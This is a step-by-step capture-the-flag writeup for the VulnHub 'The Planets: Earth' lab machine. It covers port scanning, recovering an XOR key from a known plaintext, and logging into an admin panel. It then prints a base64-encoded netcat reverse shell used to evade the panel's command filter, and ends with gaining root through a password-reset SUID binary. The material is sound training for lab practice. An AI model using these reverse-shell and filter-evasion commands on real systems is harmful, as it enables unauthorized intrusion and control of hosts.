> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# VulnHub The Planets: Earth Writeup
- URL: https://taiwanding.com/en/vulnhub-the-planets-earth-writeup/
- Published: 2025-09-06T02:20:27.000Z
- Updated: 2026-07-15T02:49:46.000Z
- Author: Kevin Chen
- Tags: #en, #en-machine

## Challenge Info

- **Platform**: VulnHub
- **Series**: The Planets
- **Difficulty**: Easy/Medium
- **Download**: [VulnHub Link](https://www.vulnhub.com/entry/the-planets-earth,755/?ref=taiwanding.com)
- **Goal**: Grab the user flag and the root flag

## Walkthrough

### Step 1: Initial Recon — Finding the Target

**Port scan**

```bash
nmap -sn 192.168.56.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-05 21:38 CST
Nmap scan report for 192.168.56.1
Host is up (0.0014s latency).
Nmap scan report for 192.168.56.100
Host is up (0.00056s latency).
Nmap scan report for 192.168.56.122
Host is up (0.0010s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 19.14 seconds
```

Confirmed the target is at 192.168.56.122.

### Step 2: Deeper Recon — Ports and Services on the Target

```bash
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey:
|   256 5b:2c:3f:dc:8b:76:e9:21:7b:d0:56:24:df:be:e9:a8 (ECDSA)
|_  256 b0:3c:72:3b:72:21:26:ce:3a:84:e8:41:ec:c8:f8:41 (ED25519)
80/tcp  open  http     Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
|_http-title: Bad Request (400)
443/tcp open  ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9
|_http-title: Test Page for the HTTP Server on Fedora
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: commonName=earth.local/stateOrProvinceName=Space
| Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local
| Not valid before: 2021-10-12T23:26:31
|_Not valid after:  2031-10-10T23:26:31
| http-methods:
|_  Potentially risky methods: TRACE
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 4.19 (97%), Linux 5.0 - 5.14 (97%), OpenWrt 21.02 (Linux 5.4) (97%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (97%), Linux 6.0 (95%), Linux 5.4 - 5.10 (91%), Linux 2.6.32 (91%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 22/tcp)
HOP RTT     ADDRESS
1   0.16 ms 172.21.16.1
2   1.21 ms 192.168.56.122

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.42 seconds
```

Services found open:

- Port 22: SSH (Fedora)
- Port 80: HTTP
- Port 443: HTTPS (Apache)
- Two domain names in the SSL certificate

### Step 3: Add the Two Domains to hosts

How to add them on Windows:

C:\\windows\\system32\\drivers\\etc\\hosts

Linux:

/etc/hosts

- `earth.local`
- `terratest.earth.local`

Add to hosts:

```bash
echo "192.168.56.122 earth.local terratest.earth.local" >> /etc/hosts

```

### Step 4: Web Enumeration and Discovering the XOR Key

**Three encrypted messages on the main site.** Visiting `https://earth.local` reveals three chunks of hex-encoded ciphertext.

**Subdomain exploration.** Visiting `https://terratest.earth.local/robots.txt`:

```
Testing secure messaging system notes:
*Using XOR encryption as the algorithm
*testdata.txt was used to test encryption
*terra used as username for admin portal

```

**Grab the test file**

```bash
curl -k https://terratest.earth.local/testdata.txt

```

Contents: a bit of pop-science text about the formation of the Earth (this serves as the XOR plaintext).

### Step 5: Cracking the XOR Key

Use a Python script to recover the XOR key:

```python
def hex_to_bytes(hex_string):
    return bytes.fromhex(hex_string)

def xor_bytes(b1, b2):
    return bytes(a ^ b for a, b in zip(b1, b2))

# Contents of testdata.txt
plaintext = """According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."""

# The third ciphertext
ciphertext3 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"

ct_bytes = hex_to_bytes(ciphertext3)
pt_bytes = plaintext.encode('utf-8')

print(f"Ciphertext length: {len(ct_bytes)} bytes")
print(f"Plaintext length: {len(pt_bytes)} bytes")
print()

# Try different key lengths
print("Trying different key lengths:\n")

for key_len in range(1, 100):
    # Build a candidate for the repeating key
    key_candidate = []

    # For each key position, figure out what the byte should be
    for i in range(key_len):
        # Collect all key-byte candidates for this position
        key_byte_candidates = []
        for j in range(i, min(len(ct_bytes), len(pt_bytes)), key_len):
            key_byte = ct_bytes[j] ^ pt_bytes[j]
            key_byte_candidates.append(key_byte)

        # Check whether all candidates agree (means the key repeats correctly)
        if len(set(key_byte_candidates)) == 1:
            key_candidate.append(key_byte_candidates[0])
        else:
            # If they disagree, this key length is probably wrong
            break

    # If we successfully built a full key
    if len(key_candidate) == key_len:
        test_key = bytes(key_candidate)

        # Decrypt fully with this key and verify
        repeated_key = (test_key * (len(ct_bytes) // key_len + 1))[:len(ct_bytes)]
        decrypted = xor_bytes(ct_bytes, repeated_key)

        # Check whether the decryption exactly matches the plaintext
        if decrypted[:len(pt_bytes)] == pt_bytes:
            print(f"✓ Found the correct key!")
            print(f"  Key length: {key_len}")
            print(f"  Key (hex): {test_key.hex()}")
            try:
                key_ascii = test_key.decode('utf-8', errors='replace')
                print(f"  Key (ASCII): {key_ascii}")
            except:
                print(f"  Key (bytes): {test_key}")
            print(f"\n  Decryption check: exact match with plaintext!")

            # If the ciphertext is longer than the plaintext, show the extra part
            if len(decrypted) > len(pt_bytes):
                extra = decrypted[len(pt_bytes):].decode('utf-8', errors='ignore').strip()
                if extra:
                    print(f"\n  Extra content in the ciphertext: {extra}")
            break
```

**Key recovered**: `earthclimatechangebad4humans` (28 characters)

### Step 6: Logging Into the Admin Panel

Using the credentials we found:

- **URL**: `https://earth.local/admin`
- **Username**: `terra`
- **Password**: `earthclimatechangebad4humans`

We're in the Admin Command Tool!

### Step 7: Bypassing the Filter for a Reverse Shell

The admin panel has a command-execution feature, but it blocks outbound connections. We get around it with base64 encoding:

**Windows listener**:

```cmd
ncat -lvnp 4444

```

**Command executed on the target (base64-encoded)**:

The raw command we want to run:

```bash
nc -e /bin/bash 192.168.56.1 4444
```

Base64-encoding the command above gives `bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNTYuMSA0NDQ0`.

Run the code below in the admin command panel and you get a reverse shell as the `apache` user!

```bash
echo 'bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNTYuMSA0NDQ0' | base64 -d | bash

```

Once inside the reverse shell, you'll want to upgrade it — otherwise the CLI is too bare-bones.

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

### Step 8: Grabbing the User Flag

```bash
find / -name "*flag*" 2>/dev/null
# found /var/earth_web/user_flag.txt

cat /var/earth_web/user_flag.txt
# [User Flag]

```

### Step 9: Privilege Escalation — Analyzing reset\_root

**Find SUID binaries**:

```bash
find / -perm -4000 -type f 2>/dev/null
# found /usr/bin/reset_root

```

**Working out what the program wants**:

1. Transfer the binary back to your machine
2. Analyze it with ltrace

```bash
# local machine
ltrace ./reset_root

```

The output shows the program checks for three files:

- `/dev/shm/kHgTFI5G`
- `/dev/shm/Zw7bV9U5`
- `/tmp/kcM0Wewe`

### Step 10: Triggering the Root Password Reset

Create the trigger files:

```bash
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe
/usr/bin/reset_root

```

Output:

```
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth

```

### Step 11: Grabbing the Root Flag

```bash
su root
# password: Earth

whoami
# root

cat /root/root_flag.txt
# [Root Flag]

```

## Key Takeaways

### Weakness of XOR Encryption

- Known-plaintext attack: when you have a plaintext–ciphertext pair, you can extract the key directly.

### Command Execution Bypass

- Base64 encoding can slip past certain filters.

### Analyzing SUID Binaries

- Use `ltrace` to trace function calls
- The `access()` function checks whether a file exists
- Trigger conditions are usually files or environment variables

## Lessons Learned

Here I'll fill in some background on the steps above and a few of the snags I hit.

### On Step 2:

Generally speaking, for a local box with no real restrictions you can just use:

```bash
Use the -A option (the most common aggressive scan)
nmap -Pn 192.168.56.122 -p- -A
-A enables:
OS detection (-O)
Version detection (-sV)
Script scan (-sC)
Traceroute (--traceroute)
```

### On Step 3:

I didn't anticipate at first that I'd need to add the domain names to hosts. But visiting 192.168.56.122 directly just returns a Bad Request (400), which reminded me of Nahamstore on TryHackMe — there too you have to add the domain to hosts right from the start.

### On Step 4:

There was a little wrinkle here. If you do directory brute-forcing with gobuster, you actually have to scan four targets — two domains each on port 80 and 443 — and the clue ends up in the robots.txt of one of them. The difference is shown below:

`terratest.earth.local`

![](https://taiwanding.com/content/images/2025/09/image.png)

Clue found.

![](https://taiwanding.com/content/images/2025/09/image-1.png)

### On Step 5:

Since you test one ciphertext at a time, the Python script above only includes the third ciphertext — which happens to correspond to the same article at [https://terratest.earth.local/testdata.txt](https://terratest.earth.local/testdata.txt?ref=taiwanding.com).

### On Step 6:

I actually tried using the key recovered in Step 5 to decrypt the other ciphertexts, but got nowhere — so I took the key over to the admin login page to try it there instead.

### On Step 8:

The challenge already tells us to look for user\_flag, so we can do a quick scan for files with "flag" in the name. The output is usually huge, but a closer look lets you home in fast. Here's a small tip: if you've popped the box from the web, the user\_flag is "usually" directly grabbable — though in a minority of cases you still have to escalate from your current webshell user (www-data, apache) to a regular user before you can read it.

```bash
[root@earth ~]# find / -name "*flag*" 2>/dev/null
find / -name "*flag*" 2>/dev/null
/proc/sys/kernel/acpi_video_flags
/proc/sys/net/ipv4/fib_notify_on_flag_change
/proc/sys/net/ipv6/fib_notify_on_flag_change
/proc/kpageflags
/sys/kernel/tracing/events/xfs/xfs_attr_leaf_clearflag
/sys/kernel/tracing/events/xfs/xfs_attr_leaf_setflag
/sys/kernel/tracing/events/xfs/xfs_attr_leaf_flipflags
/sys/kernel/tracing/events/xfs/xfs_reflink_set_inode_flag
/sys/kernel/tracing/events/xfs/xfs_reflink_unset_inode_flag
/sys/kernel/tracing/events/xfs/xfs_reflink_set_inode_flag_error
/sys/kernel/tracing/events/power/pm_qos_update_flags
/sys/kernel/debug/sched/domains/cpu1/domain0/flags
/sys/kernel/debug/sched/domains/cpu0/domain0/flags
/sys/kernel/debug/tracing/events/xfs/xfs_attr_leaf_clearflag
/sys/kernel/debug/tracing/events/xfs/xfs_attr_leaf_setflag
/sys/kernel/debug/tracing/events/xfs/xfs_attr_leaf_flipflags
/sys/kernel/debug/tracing/events/xfs/xfs_reflink_set_inode_flag
/sys/kernel/debug/tracing/events/xfs/xfs_reflink_unset_inode_flag
/sys/kernel/debug/tracing/events/xfs/xfs_reflink_set_inode_flag_error
/sys/kernel/debug/tracing/events/power/pm_qos_update_flags
/sys/kernel/debug/block/sr0/hctx0/flags
/sys/kernel/debug/block/sda/hctx0/flags
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
/sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags
/sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS17/flags
/sys/devices/platform/serial8250/tty/ttyS8/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/pci0000:00/0000:00:03.0/net/enp0s3/flags
/sys/devices/virtual/net/lo/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/root/root_flag.txt
/var/earth_web/user_flag.txt
/usr/sbin/grub2-set-bootflag
/usr/lib64/samba/libflag-mapping-samba4.so
/usr/share/man/man3/fegetexceptflag.3.gz
/usr/share/man/man3/fesetexceptflag.3.gz
/usr/share/man/man1/grub2-set-bootflag.1.gz
/usr/share/man/man2/ioctl_iflags.2.gz
/usr/share/man/man3p/fegetexceptflag.3p.gz
/usr/share/man/man3p/fesetexceptflag.3p.gz
/usr/share/man/man3p/posix_spawnattr_getflags.3p.gz
/usr/share/man/man3p/posix_spawnattr_setflags.3p.gz
/usr/include/asm/processor-flags.h
/usr/include/linux/kernel-page-flags.h
/usr/include/linux/tty_flags.h
/usr/include/bits/ss_flags.h
/usr/include/bits/mman-map-flags-generic.h
/usr/include/bits/termios-c_cflag.h
/usr/include/bits/termios-c_iflag.h
/usr/include/bits/termios-c_lflag.h
/usr/include/bits/termios-c_oflag.h
/usr/include/bits/waitflags.h
/usr/local/lib/python3.9/site-packages/django/contrib/admin/migrations/0003_logentry_add_action_flag_choices.py
/usr/local/lib/python3.9/site-packages/django/contrib/admin/migrations/__pycache__/0003_logentry_add_action_flag_choices.cpython-39.pyc
/home/earth/.local/lib/python3.9/site-packages/django/contrib/admin/migrations/0003_logentry_add_action_flag_choices.py
/home/earth/.local/lib/python3.9/site-packages/django/contrib/admin/migrations/__pycache__/0003_logentry_add_action_flag_choices.cpython-39.pyc
```

### On Step 9:

Linux privilege escalation is a whole discipline of its own, so I won't go too deep here. The SUID binary lets us zero in immediately, but for this challenge the author used a custom privesc method, so we have to do a bit of our own research. The technique I used here was to transfer the target's privesc binary back to my own machine to study it. Here's how:

### Transferring the File: **re-transfer via base64**

**On the target machine:**

```bash
base64 /usr/bin/reset_root > /tmp/reset.b64
cat /tmp/reset.b64

```

**On your own machine:**

```bash
# Create a file and paste in the base64 content
nano reset.b64
# paste the content, then save

# Decode
base64 -d reset.b64 > reset_root
chmod +x reset_root
file reset_root  # confirm it's an ELF file

```

Once you've confirmed you have `reset_root` to analyze locally, pair it with `ltrace`.

![](https://taiwanding.com/content/images/2025/09/image-2.png)

And that's a wrap!